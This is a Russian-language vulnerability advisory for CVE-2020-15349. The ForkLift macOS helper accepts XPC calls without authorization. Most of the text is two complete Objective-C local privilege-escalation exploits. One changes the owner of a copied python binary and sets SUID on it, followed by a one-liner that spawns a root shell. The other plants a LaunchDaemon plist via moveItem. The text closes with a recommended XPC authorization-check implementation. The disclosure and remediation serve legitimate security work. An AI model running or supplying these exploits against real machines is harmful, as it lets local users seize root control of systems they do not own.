
Описание уязвимости CVE-2020-15349
При установке Forklift новый вспомогательный компонент com.binarynights.ForkLiftHelper для Mac OS X автоматически устанавливается в каталог /Library/PrivilegedHelperTools/. Анализ этого компонента, который обрабатывает XPC-сообщения, выявил различные способы повышения привилегий с уровня пользователя до root в Mac OS X.
При принятии XPC-вызовов по умолчанию используется функция HelperTool listener:shouldAcceptNewConnection, а именно (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)connection. Эта функция используется для выполнения начальных шагов по установлению XPC-соединения. Обычно эта функция выполняет авторизацию вызывающей стороны, однако функция com.binarynights.ForkLiftHelper не реализует никаких проверок авторизации. Таким образом, можно вызывать любые предоставляемые функции через XPC без авторизации.
Следующие функции доступны вызывающей стороне через XPC:
@protocol _TtP4main21ForkLiftHelperProtcol_
- (void)changePermissions:(NSString *)arg1 permissions:(long long)arg2 reply:(void (^)(NSError *))arg3;
- (void)changeOwner:(NSString *)arg1 owner:(long long)arg2 group:(long long)arg3 reply:(void (^)(NSError *))arg4;
- (void)calculateDirectorySize:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)createDirectory:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)deleteItem:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)moveItem:(NSString *)arg1 targetPath:(NSString *)arg2 reply:(void (^)(NSError *))arg3;
- (void)copyItemAbort:(NSString *)arg1;
- (void)copyItemProgress:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)copyItem:(NSString *)arg1 targetPath:(NSString *)arg2 UUID:(NSString *)arg3 reply:(void (^)(NSError *))arg4;
- (void)moveToTrash:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)getHelperVersion:(void (^)(NSString *))arg1;
@end
Первый способ эксплуатации этого компонента выглядит следующим образом:
Скопируйте, например, интерпретатор python в каталог, контролируемый пользователем, и вызовите XPC-функцию changeOwner с параметром @"<path>" owner:0 group:0. Это изменит владельца интерпретатора python на root.
Во-вторых, можно установить SUID-бит на интерпретатор, отправив XPC-запрос к функции changePermissions со следующим параметром @"<path>" permissions:2541. Права 2541 в восьмеричном представлении соответствуют числу 4755, которое устанавливает SUID-флаг на бинарный файл.
Следующая команда запустит оболочку от имени root:
$/tmp/python_copied -c 'import pty; import os; os.setuid(0);pty.spawn("/bin/bash")'
# id
uid=0(root) [...]
Убедитесь, что интерпретатор python предварительно скопирован в /tmp с именем python_copied.
Следующий эксплойт демонстрирует это LPE:
//
// main.m
// build
// gcc -framework Foundation exploit.m -o exploit
//
//
#import <Foundation/Foundation.h>
static NSString* kXPCHelperMachServiceName = @"com.binarynights.ForkLiftHelper";
// The protocol that Forklift will vend as its XPC API.
@protocol _TtP4main21ForkLiftHelperProtcol_
- (void)changePermissions:(NSString *)arg1 permissions:(long long)arg2 reply:(void (^)(NSError *))arg3;
- (void)changeOwner:(NSString *)arg1 owner:(long long)arg2 group:(long long)arg3 reply:(void (^)(NSError *))arg4;
- (void)calculateDirectorySize:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)createDirectory:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)deleteItem:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)moveItem:(NSString *)arg1 targetPath:(NSString *)arg2 reply:(void (^)(NSError *))arg3;
- (void)copyItemAbort:(NSString *)arg1;
- (void)copyItemProgress:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)copyItem:(NSString *)arg1 targetPath:(NSString *)arg2 UUID:(NSString *)arg3 reply:(void (^)(NSError *))arg4;
- (void)moveToTrash:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)getHelperVersion:(void (^)(NSString *))arg1;
@end
int main(int argc, const char * argv[]) {
@autoreleasepool {
NSString* _serviceName = kXPCHelperMachServiceName;
NSXPCConnection* _agentConnection = [[NSXPCConnection alloc] initWithMachServiceName:_serviceName options:4096];
[_agentConnection setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(_TtP4main21ForkLiftHelperProtcol_)]];
[_agentConnection resume];
// run user script as root/
[[_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error) {
(void)error;
NSLog(@"Connection Failure");
}] changeOwner:@"/tmp/python_copied" owner:0 group:0 reply:^(NSError * err){
NSLog(@"Reply, %@", err);
}];
[[_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error) {
(void)error;
NSLog(@"Connection Failure");
}] changePermissions:@"/tmp/python_copied" permissions:2541 reply:^(NSError * err){
NSLog(@"Reply, %@", err);
}];
NSLog(@"Done!");
}
return 0;
}
Второй способ эксплуатации этого компонента выглядит следующим образом:
Благодаря XPC-вызову moveItem можно перемещать любой объект от имени root. Таким образом, можно записать plist-файл в каталог /tmp, а затем скопировать его в каталог /Library/LaunchDaemons/. Для функции moveItem используются следующие параметры: @"/tmp/com.sample.Load.plist" targetPath:@"/Library/LaunchDaemons/com.sample.Load.plist"
Следующий код автоматически добавит новый агент запуска, который будет активирован при перезагрузке:
//
// main.m
// build
// gcc -framework Foundation exploit.m -o exploit
//
#import <Foundation/Foundation.h>
static NSString* kXPCHelperMachServiceName = @"com.binarynights.ForkLiftHelper";
// The protocol that Forklift will vend as its XPC API.
@protocol _TtP4main21ForkLiftHelperProtcol_
- (void)changePermissions:(NSString *)arg1 permissions:(long long)arg2 reply:(void (^)(NSError *))arg3;
- (void)changeOwner:(NSString *)arg1 owner:(long long)arg2 group:(long long)arg3 reply:(void (^)(NSError *))arg4;
- (void)calculateDirectorySize:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)createDirectory:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)deleteItem:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)moveItem:(NSString *)arg1 targetPath:(NSString *)arg2 reply:(void (^)(NSError *))arg3;
- (void)copyItemAbort:(NSString *)arg1;
- (void)copyItemProgress:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)copyItem:(NSString *)arg1 targetPath:(NSString *)arg2 UUID:(NSString *)arg3 reply:(void (^)(NSError *))arg4;
- (void)moveToTrash:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)getHelperVersion:(void (^)(NSString *))arg1;
@end
int main(int argc, const char * argv[]) {
@autoreleasepool {
NSString* my_plist = @"<?xml version=\"1.0\" encoding=\"UTF-8\"?>"
"<!DOCTYPE plist PUBLIC \"-//Apple Computer//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">"
"<plist version=\"1.0\">"
"<dict>"
" <key>Label</key>"
" <string>com.sample.Load</string>"
" <key>ProgramArguments</key>"
" <array>"
" <string>/bin/zsh</string>"
" <string>-c</string>"
" <string>touch /Library/foobar.txt</string>"
" </array>"
" <key>RunAtLoad</key>"
" <true/>"
"</dict>"
"</plist>";
[my_plist writeToFile:@"/tmp/com.sample.Load.plist" atomically:YES encoding:NSASCIIStringEncoding error:nil];
NSString* _serviceName = kXPCHelperMachServiceName;
NSXPCConnection* _agentConnection = [[NSXPCConnection alloc] initWithMachServiceName:_serviceName options:4096];
[_agentConnection setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(_TtP4main21ForkLiftHelperProtcol_)]];
[_agentConnection resume];
// run user script as root/
[[_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error) {
(void)error;
NSLog(@"Connection Failure");
}] moveItem:@"/tmp/com.sample.Load.plist" targetPath:@"/Library/LaunchDaemons/com.sample.Load.plist" reply:^(NSError * err){
NSLog(@"Reply, %@", err);
}];
NSLog(@"Done!");
}
return 0;
}
Рекомендуется принудительно выполнять авторизацию при вызове XPC-компонента.
Эти проверки авторизации должны включать:
Отличный ресурс по проверкам авторизации можно найти в источнике [1].
Следующий пример функции shouldAcceptNewConnecton демонстрирует различные этапы корректных проверок авторизации:
@interface NSXPCConnection(PrivateAuditToken)
// This property exists, but it's private. Make it available:
@property (nonatomic, readonly) audit_token_t auditToken;
@end
// In the NSXPCListenerDelegate:
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)connection {
audit_token_t auditToken = connection.auditToken;
NSData *tokenData = [NSData dataWithBytes:&auditToken length:sizeof(audit_token_t)];
NSDictionary *attributes = @{(__bridge NSString *)kSecGuestAttributeAudit : tokenData};
SecCodeRef code = NULL;
if (SecCodeCopyGuestWithAttributes(NULL, (__bridge CFDictionaryRef)attributes, kSecCSDefaultFlags, &code) != errSecSuccess) {
return NO;
}
// Before checking the requirement make sure that code signing flags
// CS_HARD and CS_KILL are set. Dynamic code signature checks can only
// check the code pages already swapped into memory, so make sure that
// no malicious code can be loaded at a later time. You may want to
// disable this check in debug builds.
CFDictionaryRef csInfo = NULL;
if (SecCodeCopySigningInformation(code, kSecCSDynamicInformation, &csInfo) != errSecSuccess) {
return NO;
} else {
uint32_t csFlags = [((__bridge NSDictionary *)csInfo)[(__bridge NSString *)kSecCodeInfoStatus] intValue];
CFRelease(csInfo);
const uint32_t cs_hard = 0x100; // don't load invalid pages
const uint32_t cs_kill = 0x200; // kill process if page is invalid
const uint32_t cs_restrict = 0x800; // prevent debugging
const uint32_t cs_require_lv = 0x2000; // Library Validation
const uint32_t cs_runtime = 0x10000; // hardened runtime
if ((csFlags & (cs_hard | cs_kill)) != (cs_hard | cs_kill)) {
// add all flags to check which are in your code signature!
// In particular, we recommend cs_require_lv and cs_restrict.
return NO; // Not accepted because it can be tampered with
}
}
NSString *requirementString = @"anchor apple generic and certificate leaf[subject.OU] = \"MyTeamIdentifier\"";
SecRequirementRef requirement = NULL;
// Check at least the peer's TeamID, e.g.
// "anchor apple generic and certificate leaf[subject.OU] = MyTeamIdentifier"
if (SecRequirementCreateWithString((__bridge CFStringRef)requirementString, kSecCSDefaultFlags, &requirement) != errSecSuccess) {
abort(); // error in requirement string
}
OSStatus status = SecCodeCheckValidityWithErrors(code, kSecCSDefaultFlags, requirement, NULL);
CFRelease(code);
CFRelease(requirement);
if (status != errSecSuccess) {
return NO;
}
// further initialization of connection goes here...
return YES;
}
[1] - https://blog.obdev.at/what-we-have-learned-from-a-vulnerability/